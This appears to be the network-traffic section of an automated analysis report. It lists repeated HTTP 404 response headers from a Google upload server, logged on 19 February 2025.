Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHU8pA9Y7cDRvQJcRmjuEqLRjCvtIrcGHgFI651EJbdWmPKJKSRMonpg0LFSonVmUlM0iUNS-MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:27 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-2vLsVmpJhOcgkkrmq2YDnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEVimsz_kw5NMijIUhO2Ci7SWMgmiLe0s1Z53n0V9g7zVoqqLTGMqP47brYImBUzkQNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:30 GMTContent-Security-Policy: script-src 'nonce-jono0toJh_SlZtpmsNea-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEJQRiGd_EQuutLelnyodYbvuIcaxRCVsgdv2eBY-tSd1zBiFLlQ2kNXFrEowxBq_c4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:32 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-qPL95xsBlWX4dzSXuFysHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHHLGd46jFEbNdV7i5viac697D7vWtzJUoCK5nivDekCk0wakgypQbY1BMmN39QGFITlkJ0DnIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:34 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-kLSGNzZ4R_gqXlneehGc5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFi8ixZqbjX-M6QhnhEC3fMfeSIRqhfLfrdI5vH26vw9kZdN7_znblJBFflLv1uZK5wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:36 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-wS9YK8JDIgwWVtKhtU5XCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEWcbVPvHgbpRO3CH7TKS99uE0H2nYr0dFI3lyEzASHNVLc9pwFYY459tz_hieH1vq4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-QqNBBnPluaLJbX18SNKbnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iH2gETpzEOPEHl0rsyyjaiQ1j1i-cDjvv2dfEZHRi3uFzW5pVbNpZ_Qw7LWLf3UOgrzWfAtB_MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-gondjm62pzgkemnnFs4ukw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFTewJqVYfWdujfv9CgvLDAvWVEJZYL5fI3bJOiPBhK5HKglfFApcNjPIEGEaR6oTRrkAlP8icContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:44 GMTContent-Security-Policy: script-src 'nonce-EqmB-LAjpa_XOjNSNHGhMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iFXQ5umEDG5szgW9m4p63_o3YcAi-drPATQXc80QkrbTaqW-ctiYyNl5uM8a53VooVAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:46 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-nPB0wE6uHgeqD1bVTvn35A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGxMxoekkSEp1sZXmZoED0GHzAGu6zLCnR1tpmjDRnJ6PahrfAh9Z6NGms4B0XWz4TFContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:48 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-xgMTbqDGCZ_67RMl7sTtnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGD3Iq9QdEArlWKcG9IJEP1h14mhSgbzkRPkRZDlkzeVQGr7A9KhbP6wei0vHePfIyNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-1NXfssW20VKzLLZj4_G0Rg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iESV4O_L2XMC8KHb2jlSRnKRxO-DgRzt4KQ8m_tO8aDIRAxo8nfq5E9ntaLvzgAdE8M4zftZCIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-WM-TdzsgdFtc_9OcO7GXZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGAvV6MJ57avvBZQBq-Z406hXtge3nDRmYcJJ_IgNGNeBeyKqjL4wWbGgW7pf__vM20Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-KqTJyNnNV_ZUk6bn_SaLRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iE8IxNtM0UMTdwNKfURlen-WqU24tpnd_fIsSELULx1DJS8GK7fGM9mEeSx02bFEruAJVw-V1UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:37:58 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-QWLVSSryGIUgxwjm4Rq1bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHj91Toacop5fP5gBA9g7XzNR94_So7gdC1zAlLoBq4l_kqCmATU2SvGjeHDjPEPTqUL5Jcd8YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:00 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-uISbiykzvZLqrY-WObq9vw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGPbTPUsRdsht28ucE4SeNFC771NGCepaynhfQXBIZHXWUUS1WRWez_0uP8zX1qNH5zContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-bN_K8z3fyfu6CqmEw5lvPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGhEKN5xaFKAh6hY-e21LzxqFJ1EHVWuaIlXUoOcAVvDUKY93N-uDIZhHvk4D02IeDTU4pNPJ4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-ejnv5Ciq9KIO39sQlQ2-vw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
